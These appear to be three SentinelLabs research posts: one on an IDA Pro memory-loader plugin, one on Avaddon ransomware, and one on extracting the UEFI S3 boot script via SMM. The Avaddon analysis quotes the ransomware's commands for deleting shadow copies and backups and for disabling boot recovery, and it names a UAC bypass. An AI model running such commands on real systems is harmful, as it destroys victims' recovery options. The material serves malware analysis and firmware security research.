If you have not used IDA Pro plugins before, a plugin basically takes IDA Pro database functionality and extends it. For example, a plugin can take all function entry points and mark them in the graph in red, making it easier to spot them. The plugin feature runs after the IDA database is initialized, meaning there is already a binary loaded into the database. A loader loads a binary into the IDA database.

Our Memory Loader plugin offers several advanced features to the malware analyst. These include loading files from a memory buffer (any source), loading files from zip files (encrypted/unencrypted), and loading files from a URL. Let’s take a look at each in turn.

Loading Files From a Memory Buffer

This plugin offers a library called Memory Loader that anyone can use to extend further the loading capability of IDA Pro to load files from a memory buffer from any source.

MemoryLoader is the base memory loader, a DLL executable, where the memory loading capabilities are stored. Its main functionally is to take a buffer of bytes from a memory buffer and load it into IDA with the appropriate loading scheme.

You will then have an IDA database file and be able to reverse engineer the file just as if it were loaded from the disk but without the attendant risks that come with saving malware to your local drive.

After you’ve analyzed the binary, save your work and close IDA Pro. The temporary IDA db files will be deleted and you will be left with your IDA database file and no binary on the disk.

Loading Files From a Zip/Encrypted Zip

MemZipLoader is able to load both encrypted and plain ZIP files into memory without writing the file to the disk. The loader accepts specific zip format files (.zip). After accepting a zip file, it will display the zip files and allow you to choose the file you want to work with.

MemZipLoader will extract the file from the input ZIP into a memory buffer and load it into IDA without writing it to disk and storing the encrypted zip file on your drive.

Loading Files From a URL

UrlLoader makes loading a file from a URL very easy. The loader is always suggested for any file you open. After you select UrlLoader, you will be asked to enter a URL, and the file downloaded will be stored in a memory buffer.

You will be able to reverse engineer the file and make changes to the IDA database. After you close the IDA window, you will be left with only the database file.

Installation Guide (tested on IDA 7.5+)

  1. Download zip with binaries from here.
  2. Extract the zip files to a folder.
  3. Place the loaders in the loaders directory of IDA.
      1. MemoryLoader.dll -> (C:\Program Files\IDA Pro 7.5)
      2. MemoryLoader64.dll -> (C:\Program Files\IDA Pro 7.5)

  • Place the memory loader DLL in the IDA directory folder.
    1. MemZipLoader64.dll -> (C:\Program Files\IDA Pro 7.5\loaders)
    2. UrlLoader64.dll -> (C:\Program Files\IDA Pro 7.5\loaders)
    3. UrlLoader.dll -> (C:\Program Files\IDA Pro 7.5\loaders)
    4. MemZipLoader.dll -> (C:\Program Files\IDA Pro 7.5\loaders)

How to Use MemZipLoader & UrlLoader

You can load binaries with MemZipLoader and UrlLoader as follows:


  1. Open IDA and choose zip file.
  2. IDA should automatically suggest the loader:
  3. Once selected, a list of the files from the zip will be displayed:
  4. IDA will then use the loader code and load it as if the binary was a local file on the system.


  1. Open any file on your computer in a directory you have write privileges to.
  2. The UrlLoader will suggest a file to open.
  3. After you chose UrlLoader, you will be asked enter a URL:
  4. The loader will browse to the network location you entered. Then IDA Pro will use the loader code and load the binary as if it was a local file.

Setting Up Visual Studio Development

In order to set up the plugin for Visual Studio development, follow these steps.

    1. Open a DLL project in Visual Studio
    2. An IDA loader has three key parts: the accept function, the load function and the loader definition block. Your dllmain file is the file where the loader definition will be.
    3. accept_file – this function returns a boolean if the loader is relevant to the current binary that is being loaded into IDA. For example, if you are loading a PE, the build_loaders_list should return PE.dll as one of the loading options.

load_file – this function is responsible for loading a file into the database. For each loader this function acts differently, so there is not much to say here. Documentation on loaders can be found here.

  1. The project can be compiled into two versions x64 for IDA with x64 addresses, and x64 for IDA x64 with 32 bit addresses. From this point forward we will mark them:
    1. X64 | X64 – 64 bit IDA with 64 BIT addresses
    2. X32 | X64 – 64 bit IDA with 32 BIT addresses


  • Target file name (Configuration Properties -> Target Name)
    1. X64 | X64 – $(ProjectName)64
    2. X32 | X64 – $(ProjectName)
  • Include header files: (Similar in: (X64 | x64) and( X64 | X32)
    1. Configuration Properties -> C/C++ -> Additional Include Directories – should point to the location of your IDA PRO SDK.
    2. Set Runtime Library -> Multi-threaded Debug (/MTd)
  • Include lib files:
    1. X64 | X64
      1. idasdk75\lib\x64_win_vc_64
  • X64 | X32
    1. idasdk75\lib\x64_win_vc_32
    2. idasdk75\lib\x64_win_vc_64
  • Preprocessor Definitions (Configuration Properties -> C/C++ -> Preprocessor Definitions):
    1. X64 | X64 add: __EA64__
    2. X32 | X64 add: __X64__, __NT__
  • Preprocessor Definitions (Configuration Properties -> C/C++ -> Undefined Preprocessor Definitions):
    1. X32 | X64: __EA64__
  • Conclusion

    When downloading malware to analyze from repositories like VirusTotal, the sample is usually zipped so that the endpoint security doesn’t detect it as malicious. Using our Memory Loader plugin will enable you to reverse engineer malicious binaries without writing them to the disk.

    Using the Memory Loader plugin also saves you time analyzing binaries. When working with malicious content in IDA Pro often a different environment is created for it, usually in a virtual machine. Copying the binary and setting up the machine for research every time you want to open IDA is time-expensive. The Memory Loader plugin will allow you to work from your machine in a safer and more productive way.

    Please note that a IDA professional license is needed to use and develop extensions for IDA Pro.

    The SentinelOne IDA Pro Memory Loader Plugin is available on Github.


The post Keep Malware Off Your Disk With SentinelOne’s IDA Pro Memory Loader Plugin appeared first on SentinelLabs.

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Avaddon RaaS | Breaks Public Decryptor, Continues On Rampage

By: Jim Walter

The Avaddon ransomware family was first sighted in the wild in February 2020, but fully emerged as a robust Ransomware-as-a-Service (RaaS) model in June of that year. Over the last 9 months or so, the operator behind Avaddon has been successful in building a strong and reliable brand, moving quickly to support affiliates with an update after security researchers released a public decryptor in February 2021. Since then, we have observed a spike in Avaddon activity and note that the actor is actively engaged in developing “Version 2” of this aggressive RaaS offering.

In this post, we detail the rapid development of Avaddon, highlighting the malware author’s ability to adapt to circumstances and maximize payouts for Avaddon affiliates.

Avaddon RaaS Overview

After initial sightings in attacks from February 2020 onwards, Avaddon fully emerged as a RaaS in June of 2020. It was heavily promoted in underground markets as a fast, bespoke, highly-configurable, and well-supported ransomware service.

The Avaddon operator offered partners fairly standard terms with the RaaS taking an initial 25% cut but willing to drop that percentage for higher volume affiliates. Over the following months, Avaddon became one of the more aggressive ransomware groups targeting both individuals and businesses. Following the model of other RaaS families that came before it, Avaddon soon put up a blog site dedicated to leaking victim data should victims fail to pay the ransom demand.

Since its inception, Avaddon refused to accept affiliates targeting CIS (Commonwealth of Independant States) countries. This is in addition to being critical of any dealings with non-Russian-native speaking individuals.

Right out of the gate, Avaddon touted their speed, configurability, and robust feature set. The first version of Avaddon was advertised with the following features:

  • Unique payloads written in C++
  • File encryption via AES256 + RSA2048, supporting full-file encryption & custom parameters
  • Full offline support, initial contact to C2 not required
  • “Impossible” 3rd party decryption
  • Support for Windows 7 and higher
  • Multi-threaded file encryption for max performance
  • Encryption of all local and remote (and accessible) drives
  • IOCP Support for parallel file encryption
  • Persistently encrypts newly written files and newly connected media
  • Ability to spread across network shares (SMB, DFS)
  • Multiple delivery options (script, PowerShell, .EXE payload, .DLL)
  • Payload executes as administrator
  • Encrypts hidden files and volumes
  • Removes trash, Volume Shadow Copies (VSS), and other restore points
  • Termination of processes which inhibit encryption of files
  • Configurable ransom note behavior

Initially, affiliates were able to build and manage their payload via an elegant administration panel hosted via TOR (.onion). The panel allowed for management of specific campaigns, payment types and behaviors, victim tracking and management. It also served as the portal to Avaddon’s technical support resources.

Over the following weeks, Avaddon picked up a great amount of momentum, continued to advertise for recruitments and boasted about their coverage in the press.

In the second half of 2020, Avaddon continued to build its infected base, while also continuing to upgrade the service and payloads.

As AV engines began adding detection rules for Avaddon, the operator responded with frequent updates to ensure the desired level of stealth. In late June 2020, the malware added the option to launch payloads via PowerShell.

In August 2020, some more significant upgrades to the service came in the form of 24/7 support. The actors indicated at the time that 24×7 support for affiliates was now available via chat and ticketing systems.

In addition, Avaddon was one of the early adopters of additional extortion methods to taunt and advertise the breach of non-compliant victims, including the use of targeted advertisements. The authors continued to improve the payloads themselves with better Distributed File System (DFS) support, different encryption mechanisms, and DLL payload support.

New Year 2021 brought further changes to the Avaddon platform. In January, the actor added support for Windows XP and 2003 in the payloads, as well as tweaks to the encryption feature set. Notably, Avaddon was one of the first to add DDoS attacks as yet another intimidation mechanism to their arsenal: If clients failed to comply with the ransom demands, they stood to experience a damaging DDoS attack in addition to their data being leaked to the public, and any tarnishing of their reputation as a result of the breach.

Everything seemed to be going well for the Avaddon RaaS, but then they hit a hurdle.

Avaddon Public Decrypter

In early 2021, a decryption tool for Avaddon was released by Bitdefender. Additionally, an open-source decryptor was also released by researcher Javier Yuste based on his extensive paper detailing the internals of Avaddon.

Under the hood, Avaddon payloads were storing the ‘secret’ session keys for encryption in memory. This allowed analysts and researchers to locate the data and extract the key for analysis and eventual development of the decryption tool. The tool was widely released, and posted to

During this period, we even observed actors behind Babuk ransomware offering technical assistance to the Avaddon actors.

Those behind Avaddon were quick to pivot and move to a different model altogether, nullifying the effect of the decryptor. They also offered affiliates an 80% cut for a full month as compensation.

Following the requisite upgrades to address the encryption issues, Avaddon continued to update their services and toolset, in addition to becoming more aggressive with recruitment. February 2021 also saw the addition of Monero support.

Subsequently, we have observed a spike in Avaddon activity, including new victim entries on their blog. The actor’s most recent public statements indicate that the development of Avaddon V2 is well underway.

Avaddon RaaS Technical Breakdown

In the majority of cases, the initial delivery vector for Avaddon is via phishing email. However, affiliates have been known to use RDP along with exploitation of network-centric vulnerabilities. We have observed malicious emails with attached .js payloads, which in turn retrieve the Avaddon payloads from a remote location. In some cases, threat actors have simply attached the ransomware directly to the email messages.

Avaddon payloads perform checks to insure they are not executing on a victim device located in certain regions of CIS.

The GetUserDefaultLCID() function (and/or GetKeyboardLayout()) is used to determine the users’ default locale. The following countries are most frequently excluded from execution:

  • Russia
  • Cherokee Nation
  • Ukraine
  • Tatar
  • Yakut
  • Sakha

A commonly used UAC bypass technique is utilized to ensure that the threat is running with the required privileges. Specifically, this is a UAC bypass via CMSTPLUA COM interface.

Existing Windows tools and utilities are used to manipulate and disable system recovery options, backups, and Volume Shadow Copies. Some syntax can vary across variants. WMIC.EXE is typically used to remove VSS via SHADOWCOPY DELETE /nointeractive.

We have also observed the following commands issued by Avaddon payloads:

  • bcdedit.exe /set {default} recoveryenabled No
  • bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures
  • vssadmin.exe Delete Shadows /All /Quiet
  • wbadmin DELETE SYSTEMSTATEBACKUP -deleteOldest

While there have been changes to Avaddon’s encryption routine to combat 3rd party decryption, the historic flow, simplified, would be:

  1. Generation of session Key (AES 256)
  2. Update master key (AES 256)
  3. Master key encrypts relevant user and environment data, along with the ransom note (typically Base64)
  4. Files are encrypted via the session key
  5. Append encrypted session key (RSA 2048) to the end of each encrypted file

Avaddon Evasion Techniques

Avaddon can be configured to terminate specific processes. This is frequently done to target security products or processes which might interfere with the encryption process. An example process list would be:


Avaddon has also been known to prioritize the encryption of Microsoft Exchange-related directories.

Most Avaddon payloads will exclude the following critical OS locations from encryption:


Persistence mechanisms can also vary, and we have observed variations of Avaddon that utilize the creation of a new Windows service, as well as the use of scheduled tasks for persistence.

Avaddon Post-Infection Behavior

Infected files are renamed with an extension consisting of randomly generated letters. These extensions are unique for each victim.

Earlier versions of Avaddon would also replace the infected hosts’ wallpaper image. The current version presents victims with a ransom note as shown below. Victims are warned that aside from their data being encrypted, the actors “have also downloaded a lot of private data from your network”.

Victims are instructed to visit the Avaddon payment portal via the TOR browser, where they must enter their unique ID (found in the ransom note) to proceed.

The actors behind Avaddon do not wait for victims to become non-compliant before they are named and shamed on the blog. Company names appear with a timer, counting down to the posting time for any data stolen from the targeted environment.

It is important to note that victims appear on the leak site at the point when they are breached, and not just when the actor decides to release their data. This means that a company breach could easily become public knowledge regardless of any action taken by the victim, and potentially at a time where the target company would rather ‘control the release’ of that type of information.

At the time of writing, there are just over sixty companies listed, 19 of which include fully released dumps of sensitive information.

Avaddon does not appear to have any particular preference or scruples when it comes to targets. Whereas some ransomware groups have backed off certain types of targets during the ongoing pandemic, Avaddon victims to date include healthcare-related entities. That said, the most represented industries in their victimology are Information Technology & Services, Food Production, Legal Services, and Manufacturing.


Avaddon is another successful example of the current RaaS model. lt has appeared on the scene and made an impact very quickly. The actors are disciplined with regard to whom they will accept as an affiliate, which ensures some degree of longevity and exclusivity. In addition, they very quickly adopted the more aggressive extortion techniques tied to modern ransomware families. This not only includes the public leaking of data but also the threat of DDoS attacks, personal threats, and advertisement-based taunting.

All of these, along with tight payment requirements for the victims, have put Avaddon in a potentially powerful position. They have yet to garner quite the same amount of media attention as predecessors such as Maze and Egregor, but there is no reason to believe that Avaddon is any less dangerous. At this time, those behind Avaddon are highly-engaged with their community and actively developing and iterating in response to security research and detection. With Avaddon version 2 on the horizon, we only expect to see increased activity from this actor as we move further into 2021.

Indicators of Compromise




T1027 Obfuscated Files or Information
T1497.001 Virtualization/Sandbox Evasion / System Checks
T1202 Indirect Command Execution
T1078 Valid Accounts
T1562.001 Impair Defenses: Disable or Modify Tools
T1070.004 Indicator Removal on Host / File Deletion
T1112 Modify Registry
T1012 Query Registry
T1082 System Information Discovery
T1120 Peripheral Device Discovery
T1490 Inhibit System Recovery
T1548.002 Abuse Elevation Control Mechanism / Bypass User Account Control
T1566 Phishing
T1498.001 Network Denial of Service / Direct Network Flood
T1486 Data Encrypted for Impact
T1543.003 Create or Modify System Process: Windows Service

The post Avaddon RaaS | Breaks Public Decryptor, Continues On Rampage appeared first on SentinelLabs.

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Adventures From UEFI Land: the Hunt For the S3 Boot Script

By: Assaf Carlsbad

By Assaf Carlsbad & Itai Liba

Hello and welcome back to the 4th part of our blog posts series covering various aspects of UEFI internals and exploitation. In the last three posts, we mostly covered the necessary background information to help us bootstrap our journey into UEFI land. We culminated by developing our own coverage-guided fuzzer on top of the Qiling emulation framework and AFL++ that can be used to fuzz the contents of NVRAM variables.

During the course of these three blog posts, our interaction with UEFI code was mostly mediated through software emulation (backed by the amazing Qiling engine). While very accessible and cost-effective, this blog post will explore firmware code via a slightly different approach. As such, most of our interactions will be with a live, physical system. The main motivation for this paradigm shift came from a somewhat innocent attempt to run a CHIPSEC module which goes by the name common.uefi.s3bootscript:

Figure 1 – First attempt to recover and parse the S3 boot script.

The common.uefi.s3bootscript module is in charge of locating, parsing and validating a piece of memory commonly referred to as the “S3 boot script”. In a nutshell, the S3 boot script is a data structure that lists the actions the firmware must take in order to correctly recover from the S3 sleep state. Unfortunately, at least on our own testing machine, (Lenovo ThinkPad T490) this CHIPSEC module consistently failed with a somewhat cryptic error message: “S3 Boot-Script was not found. Firmware may be using other ways to store/locate it”.

For the average security researcher, such phrasing immediately raises a series of follow-up questions, such as:

  • How exactly does CHIPSEC try to locate the boot script?
  • What are the “other ways” the firmware might be using to store it?
  • Can we find some alternative methods to extract and parse the boot script?

Like most other things in life, the motivation for answering these questions is threefold:

  • Visibility: Normally, we tend to think of the firmware as an obscure, big blackbox that provides very limited visibility to what is actually happening under the hood. Knowing exactly what the firmware is doing to recover from S3 sleep state can definitely shed some light on the subject and help us reveal the underlying implementation of some low-level components and interfaces.
  • Vulnerability hunting: Historically, naive or just plain bad implementations of the S3 boot script were subject to a myriad of attacks. Because the system is not yet fully configured by the time the boot script executes, hijacking control flow at this point in time allows attackers to disable or completely bypass certain security features offered by the platform. By knowing how to locate, extract and parse the boot script we can validate its integrity and assess its resilience against these kinds of attacks.
  • Fun: Last but not least, this can be a very interesting challenge on its own which also puts into test a lot of the knowledge that we gathered around UEFI in particular and firmware security in general.

The S3 Boot Script

Before moving on to explore some actual techniques for dumping the boot script, it’s important to take some time to understand the rationale behind it. The S3 sleep state was introduced by the ACPI standard for power management, alongside some additional low-power states labeled S1, S2 and S4. Lets go over them briefly:

  • S1 is the Standby state. This is a low-wake latency state, where no CPU or chipset context is lost.
  • S2 is currently not supported by ACPI.
  • S3 is the suspend-to-RAM state. It is similar to the S1 sleep state except that the CPU is turned off and some chips on the motherboard might be off as well. Power to main system memory, on the other hand, is retained. After the wake event, control starts from the processor’s reset vector.
  • S4 is the suspend-to-Disk state (hibernation). It is the lowest power, longest wake latency sleeping state supported by ACPI. It is usually implemented by writing an image of memory into a hibernation file before powering down. Upon resumption, the system restores its context from the saved hibernation file on disk.
Figure 2 – State diagram of the different power states defined by ACPI. All sleep states described above are grouped under the “G1 – Sleeping” cluster.

As has already been mentioned, UEFI breaks the boot process into multiple distinct phases, each with its own responsibilities and limitations. During a normal boot, the PEI phase is responsible for initializing just enough of the platform’s resources to enable the execution of the DXE phase, which is where the majority of platform configuration is performed by different DXE drivers.

Figure 3 – The PEI phase precedes the DXE phase during normal boot and enables its execution.

However, to speed up booting from S3 sleep UEFI provides a mechanism called a “boot script” that lets the S3 resume path avoid the DXE, BDS and TSL phases altogether. The boot script is created during normal boot with the intention of being consumed by the S3 resume path:

  • During a normal boot, DXE drivers record the platform’s configuration in the boot script, which is saved in NVS. The boot script is comprised out of a series of high-level “opcodes” which are to be interpreted by a boot script execution engine. These “opcodes” include reading from and writing to I/O ports, PCI devices, main memory, etc. For the complete list of supported opcodes, please refer to PiS3BootScript.h.
Figure 4 – A decoded boot script entry that writes to a PCI device (source)
  • Upon resuming from S3 a boot script engine executes the script, thereby restoring device configurations that were lost during sleep. Schematically, the relationship between the PEI phase, DXE phase and the S3 boot script can be depicted as follows:
Figure 5 – Relationship between the normal boot path, the S3 resume path and the boot script (source).

For a more thorough discussion of the S3 boot script and its role in restoring the platform’s configuration, please refer to this document.

Digging Deeper

Now that we know what the S3 boot script is all about, let’s try to get a clearer picture of what went wrong with CHIPSEC.

To do so, we’ll run a command to dump it again, this time with the --hal and -v command-line switches for augmented verbosity:

Figure 6 – Running with some extra verbosity flags reveals the root cause of the problem.

From the output of the command we can clearly see that in order to get the contents of the boot script, CHIPSEC first tries to search for an EFI variable named AcpiGlobalVariable.

The exact definition of the structure that backs up this variable can be found in AcpiVariableCompatibility.h taken from the ModernFW repository:

Figure 7 – The definition of ACPI_VARIABLE_SET_COMPATIBILITY

Taking padding into account, offset 0x18 of the structure contains the AcpiBootScriptTable member which holds the physical address of the boot script in memory. Now that we know for sure the pointer to the boot script is encapsulated inside AcpiGlobalVariable, let’s try to figure out why CHIPSEC failed to find it. To do so, we’ll run the chipec_util uefi var-find command that lets us query and probe for the presence of EFI variables:

Figure 8 – Probing for AcpiGlobalVariable

Unfortunately, it seems that for some reason CHIPSEC failed to find or query this variable altogether. After digging through some old EDK2 commits, we eventually managed to pinpoint the reason for this in a commit dating back to 2014 that removed the runtime attribute from AcpiGlobalVariable. As was mentioned in the previous blog posts, variables that don’t have the EFI_VARIABLE_RUNTIME_ACCESS attribute cannot be queried from the operating system and are only accessible for the duration of the boot process (i.e., before the boot loader calls ExitBootServices).

Now that we understand the root cause of the problem, the question is whether we can come up with some clever tricks to extract the boot script in spite of the fact that the variable that contains it is inaccessible to us. It turns out that not only is the answer to this question positive but also that we have at least two distinct ways at our disposal to do so.

Method #1: Reading AcpiGlobalVariable From an Offline Dump

By now we know that AcpiGlobalVariable doesn’t have the EFI_VARIABLE_RUNTIME_ACCESS attribute, and therefore it can’t be enumerated from the OS. Alas, these restrictions only apply to a live, running system. In other words, as long as this variable exists physically on the SPI flash there is nothing to prevent us from reading it using an offline dump of the firmware.

Given that premise, we can devise the following “algorithm” for reading the S3 boot script:

  • Dump the UEFI firmware to a file (can be done simply by running python spi dump rom.bin, and see part 1 for more details).
  • Open rom.bin in UEFITool and search for AcpiGlobalVariable. Use the ‘Body hex view’ option to read the contents of this variable and interpret the data as a little-endian pointer. This pointer should hold the physical address of the ACPI_VARIABLE_SET_COMPATIBILITY structure in memory.
Figure 9 – Reading AcpiGlobalVariable from an offline dump.
  • Feed this address into a physical memory viewer such as RW-Everything, and read the QWORD value at offset 0x18 (corresponding to the AcpiBootScriptTable member)
Figure 10 – Reading ACPI_VARIABLE_SET_COMPATIBILITY from physical memory.
  • Now, cross your fingers and pass this address as an additional argument (-a) to CHIPSEC. If all goes well, CHIPSEC should now be able to parse the boot script and scan it for any potential vulnerabilities.
Figure 11 – Manually feeding CHIPSEC the address of the boot script.

After we uncovered the boot script in physical memory this way, we tried modifying it for the sake of disabling certain security measures. However, after completing a full sleep-resume cycle, the contents of the script were “magically” restored. This strongly suggested that the pointer we obtained only points to a copy of the boot script, while the source is saved someplace else. Cr4sh probably encountered this phenomenon back in 2016, which is why he writes:

Figure 12 – The original copy of the S3 boot script is stored inside a SMM LockBox.

Now, all we have to do is understand what an SMM LockBox is and how we can extract the boot script out of it.

Method #2: Extracting the Boot Script From an SMM LockBox

As mentioned earlier, the S3 boot script is in charge of restoring the platform’s configuration to its pre-sleep state. This usually includes re-enabling and locking various security settings which were lost during sleep. Because of its sensitive and privileged nature, the boot script itself must be kept in a memory region which is guarded against malicious attempts to modify it. The main problem is that the threat vector includes not only attackers with user-mode permissions but also local attackers with kernel-mode privileges. Given that kernel-level code has full access to physical memory, how can the firmware store the boot script such that it will be tamper proof?

A Whirlwind Tour of SMM

Enter SMM. SMM, or System Management Mode, is one of the operating modes found in every Intel-compatible CPU and dates back to the old i386 days. Historically, SMM was intended to provide firmware developers with an isolated execution space where they can implement support for features such as APM (Advanced Power Management), Plug-and-Play and so on. Over the years, OEMs started shifting more and more of their proprietary code base into SMM, and the end result is that a typical firmware image usually contains a magnitude of dozens of different modules that all operate in this mode.

Figure 13 – A typical firmware image usually contains dozens of different SMM modules.

Schematically, the relationship between SMM and the other, more familiar operating modes of the CPU is usually depicted in the Intel manuals as follows:

Figure 14 – SMM and its relationships with the other operating modes of Intel CPUs.

From the figure above, some important facts about SMM can be deduced:

  • The processor transitions from its current operation mode to SMM in response to a System Management Interrupt, or SMI for short. The exact nature of these SMIs will be discussed in the next section.
  • Transition to SMM can happen from every CPU mode and is completely transparent to the operating system. That means that when an SMI is triggered, the operating system’s kernel is preempted and control is passed to a dedicated routine called the SMI handler.
  • After the SMI handler finishes servicing the interrupt, it can make the processor exit SMM and return to its previous state by executing the rsm instruction.

System Management Interrupts

A typical computer contains a plethora of different devices that are capable of generating an SMI. Still, from the perspective of any security-oriented research, the most important SMI source is the software-generated SMI. This type of SMI can be triggered synchronously by software, given it is running with ring 0 (kernel) privileges. To generate a software SMI, we take advantage of the APM chip found on virtually every Intel-compatible computer.

The software interface to the APMC consists of two I/O ports: 0xB2 and 0xB3.

  • Port 0xB3 is usually referred to as a status port, even though this description might be a bit misleading. In practice, it is used as a scratchpad register that can be written freely by software.
  • Port 0xB2, on the other hand, is the code port. Writing a single byte to this port using the outb instruction causes the APM chip to assert the SMI# pin of the processor.
Figure 15 – Under ‘Device Manager’, the APMC usually appears just as a generic ‘Motherboard resources’ device.

A common pattern to generate a software SMI using these two I/O ports is as follows: first, pass any arguments to the SMI handler by writing them to port 0xB3. Afterwards, write port 0xB2 to actually trigger an SMI. In case the firmware offers several different SMI handlers, the exact byte value written to port 0xB2 can be used to select the particular handler to invoke. This idea is demonstrated clearly in the ThinkPwn exploit by Cr4sh:

Figure 16 – Code to generate a software-based SMI.

Communicating with SMI Handlers

To facilitate easy, flexible and secure communication with SMI handlers, most UEFI implementations offer the EFI_SMM_COMMUNICATION_PROTOCOL. The main workhorse of this protocol is the Communicate() method, which basically acts as the kernel-to-SMM equivalent of a system call; being capable of invoking SMI handlers from a non-SMM context, as well as passing buffers and status codes back and forth between the two modes. In EDK2 and other firmwares built on top of it, this protocol is implemented by the SmmCommunicationCommunicate() function taken from PiSmmIpl.c:

Figure 17 – Code for SmmCommunicationCommunicate (error checks omitted for brevity)

Essentially, this routine takes care of two things:

  • First (1), it places the user-supplied buffer and size arguments into well-known locations inside the gSmmCorePrivate structure. Doing so allows the “server” side of the protocol (in SMM) to quickly find the arguments that should be passed to the SMI handler.
  • Second (2), it uses the Trigger() method of EFI_SMM_CONTROL2_PROTOCOL to generate a software SMI.

Under the hood, Trigger() does little more than writing to the two I/O ports of the APMC like we previously described:

Figure 18 – EDK2 code to trigger a SW SMI.

To distinguish between different SMI handlers, clients of the communication protocol are expected to prefix all actual data with an EFI_SMM_COMMUNICATE_HEADER structure. This structure begins with a HeaderGuid member which allows the “server” side of the protocol (in SMM) to disambiguate the message and uniquely identify the particular handler the client wishes to invoke.

Figure 19 – Header for SMM communication buffer.

Communicating with SMI handlers directly from the OS is a bit trickier but not impossible. The main hurdle is that SMM_COMMUNICATION_PROTOCOL is only available during boot time, so if we’re running code on top of an OS we have no choice but to replicate all its operations manually. The procedure for that is comprised out of the following steps:

  1. Find the GUID for the SMI handler we wish to invoke.
  2. Serialize all the arguments for this SMI as a binary buffer and prefix them with a EFI_SMM_COMMUNICATE_HEADER structure.
  3. Find the gSmmCorePrivateData structure in memory. This can be done by simply scanning physical memory pages for the smmc magic signature.
  4. Write the serialized arguments buffer to gSmmCorePrivate->CommunicationBuffer and its corresponding size to gSmmCorePrivate->BufferSize.
  5. Trigger an SMI using the APMC.

Luckily for us, we don’t have to perform all these tedious and error prone steps by hand as CHIPSEC already did most of the heavy lifting for us. The CHIPSEC command to trigger Communicate()-based SMIs goes as follows: smi smmc <RT_code_start> <RT_code_end> <GUID> <payload_loc> <payload_file> [port]


  • <RT_code_start> <RT_code_end>: Physical address range where firmware runtime code lives. This range will be used to limit the search for the gSmmCorePrivate structure. To get this address range, boot into the UEFI shell and run the memmap command. Then, search the output for regions that are marked as RT_code and write them down.
Figure 20 – Searching for runtime code memory through the memmap command (source).
  • <GUID>: Uniquely identifying the SMI handler.
  • <payload_loc>: Address in physical memory which will hold the buffer to be conveyed to SMRAM. To avoid clashing with memory regions that are already in use, we suggest using an unused (zeroed) page taken from the RT_data region.
  • <payload_file>: A binary file containing the serialized arguments for the SMI handler.
  • <port>: Byte value that will be written to port 0xB2 when triggering the SMI. Note that by default EDK2 generates SMIs with I/O ports 0xB2 and 0xB3 both equal to zero, but this is not mandatory and in practice the firmware might choose some other value. For example, on our T490 laptop the firmware uses a value of 0xFF by default:
Figure 21 – Actual implementation for Trigger() uses a port value of 0xFF by default.


SMM code runs from a special region of physical memory called System Management RAM, or SMRAM for short. The Intel architecture coerces SMRAM to contain at least the following:

  • SMI entry point: Upon entering SMM, the CPU is put back into 16-bit execution mode with paging disabled. The SMI entry point is in charge of switching the processor back to long mode and re-enabling paging. Afterwards, it can call any handler registered by the firmware to actually handle the event.
  • SMM State Save Area: Like any other kind of interrupt, before executing the SMI handler the CPU must save its current execution so that it can be restored later on. For this purpose, SMM has a 64-KB state save area spanning addresses [SMBASE + 8000H + 7E00H] to [SMBASE + 8000H + 7FFFH]. The registers contained in the state save area are saved automatically by the CPU upon entering SMM, and are restored as part of processing the rsm instruction.
    Figure 22 – Schematic representation of SMRAM.
  • SMM code and data: The other portions of SMRAM contain the code and data that make up the various SMM modules stored in the firmware image. Besides that, additional memory is reserved to provide runtime support structures such as a call stack, a heap for dynamically allocated memory, etc.

On modern platforms, SMRAM can be found in one of several memory regions:

  • CSEG: The compatibility SMRAM segment, which spans physical addresses 0xA0000-0xBFFFF. At first glance, it seems like this address range overlaps with the MMIO range of the legacy video buffer. In the next paragraph we’ll see exactly how the memory controller handles this discrepancy.
    Figure 23 – The address range for CSEG overlaps with that of the legacy video buffer.

    To check if CSEG is enabled on your own machine, simply run the -m common.smm command and take a look at the G_SMRAME bit:

    Figure 24 – Testing whether CSEG is enabled (G_SMRAME == 1).
  • HSEG: The high SMRAM segment was introduced to let the CPU access CSEG by remapping a much higher address range: 0xFEDA0000-0xFEDBFFFF. This segment is no longer supported by modern (PCH-based) chipsets and therefore we’ll mostly ignore it.
  • TSEG: The top of main memory is the de facto standard region of SMRAM memory. To test whether or not your machine supports TSEG simply run the common.smm_dma CHIPSEC module:
    Figure 25 – Retrieving the address range for TSEG.

Each of the different SMRAM segments provides its own configuration registers for closing and locking the respective region. Once closed and locked, only attempts to access SMRAM while the CPU already executes in SMM will be forwarded to the memory controller. All other attempts to access SMRAM from a non-SMM context will be remapped by the chipset or simply discarded.

Figure 26 – Once closed, attempts to access CSEG from a non-SMM context will go to the legacy video buffer.

Because this unique access pattern is enforced by the hardware, SMRAM is an ideal place to store secrets and other confidential data which must remain protected even in the face of kernel-level attacks. To facilitate saving data into and restoring data out of SMRAM in a generic manner, modern UEFI implementations expose a special protocol called SMM LockBox.

SMM Lock Box Protocol

Essentially, SMM lock box is a boot-time protocol that lets clients save data into and restore data out of SMRAM in a generic and well-defined way. It supports 5 basic types of operations:

In EDK2 and its derived implementations, we can clearly see that SMM lock boxes are used extensively by BootScriptSave.c to seal the S3 boot script once it’s ready. Given that the boot script is saved to SMRAM by LockBoxSave, what prevents us from revealing it by calling the inverse function RestoreLockBox?

Figure 27 – The S3 boot script is saved to a SMM lock box.

Extracting the S3 Boot Script

To recap so far: our objective is to invoke RestoreLockBox with the GUID identifying the S3 boot script. Obviously, any implementation of an SMM lock box must include at least two components:

  • A “server” side, implemented in SMM and reachable via an SMI.
  • A “client” side, which takes care of serializing the arguments for the call into the communication buffer and then actually triggering the SMI.

Our main problem is that we’re running from a live operating system and thus we can’t link against the library which implements the client side of the lock box protocol. As a fallback, our best shot would be to peek into the implementation of the client-side of RestoreLockBox and hope we could mimic it using primitives which are already at our disposal. In EDK2, the client-side of the LockBox protocol is implemented in SmmLockBoxDxeLib.c. The code for RestoreLockBox goes as follows (error checks omitted):

Figure 28 – Client side of RestoreLockBox.

Logically, this code can be divided into three steps:

  1. First, the communication buffer for the SMI is retrieved. Recall that SMM_COMMUNICATION_PROTOCOL demands every message to be prefixed with an EFI_SMM_COMMUNICATE_HEADER structure, and so the code sets HeaderGuid to gEfiSmmLockBoxCommunicationGuid (2a3cfebd-27e8-4d0a-8b79-d688c2a3e1c0) and MessageLength to the size of the EFI_SMM_LOCK_BOX_PARAMETER_RESTORE structure that immediately follows the header.
  2. In step 2, the memory beyond the header is interpreted as EFI_SMM_LOCK_BOX_PARAMETER_RESTORE and then initialized as follows:
    1. Header.Command is set to 3 (EFI_SMM_LOCK_BOX_COMMAND_RESTORE)
    2. Header.DataLength is initialized to the size of the parameters structure.
